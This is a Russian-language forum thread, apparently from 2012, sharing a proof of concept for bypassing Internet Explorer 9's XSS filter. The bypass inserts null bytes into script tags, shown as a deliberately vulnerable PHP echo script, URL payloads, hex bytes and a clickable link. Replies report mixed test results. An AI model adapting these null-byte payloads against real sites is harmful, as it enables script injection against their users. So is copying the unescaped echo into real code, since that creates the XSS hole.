В Internet Explorer 9, ввели защиту от XSS, при написании в GET параметре скрипта, например alert(), у нас выведется окно "счастья": Давайте проведем пару тестов, допустим у нас есть php скрипт с содержимым: PHP: <? echo $_GET["a"]; ?> Сохраним его под имен xss_ie.php, и пробуем: PHP: test.ru/xss_ie.php?a=<script>alert(1)</script> PHP: test.ru/xss_ie.php?a=<s%00cript>alert(1)</s%00cript> Ни при первом, ни при втором варианте окно выведено не будет, благодаря все тому же фильтру. PoC: Что казалось можно взять с фильтрации, но если вы вспомните, что IE позволяет зачищать теги вставив 0-байт, то все у вас получится. Например, этот код будет выполнен: Code: 3C 73 [COLOR=Red]00[/COLOR] 63 72 69 70 74 3E 61 6C 65 72 74 28 31 29 3C 2F 73 [COLOR=Red]00[/COLOR] 63 72 69 70 74 3E Этот же код, в человеко понятном виде: "<s[NULL]cript>alert(1)</s[NULL]cript>" И вот, что мы получаем. Создаем скрипт с содержимым: PHP: <a href='/xss_ie.php?a=<s%00cript>alert(1)</s%00cript>'>Clickme</a> Где xss_ie.php скрипт, который мы создали в начале. После всего получаем: P.S. с "ja[NULL]vascript:" этот вариант тоже канает. Источник: 1337day.com Author: Jean Pascal Pereira Date: 2012-05-15
Защиту от XSS ввели еще в IE8. Win2003, IE v8.0.6001.18702 - не работает. Win7, IE v9.0.8112.16421 - не работает.
Win7, IE v9.0.8112.16421 - Работает, НО попросил понизить уровень брандмаузера и включить интрасети! Тогда сработало, но увы метод не универсален!
Источник - http://pastebin.com/6DGzjdp8 "Internet Explorer 9 XSS Filter Bypass Discovered by: Jean Pascal Pereira <[email protected]>"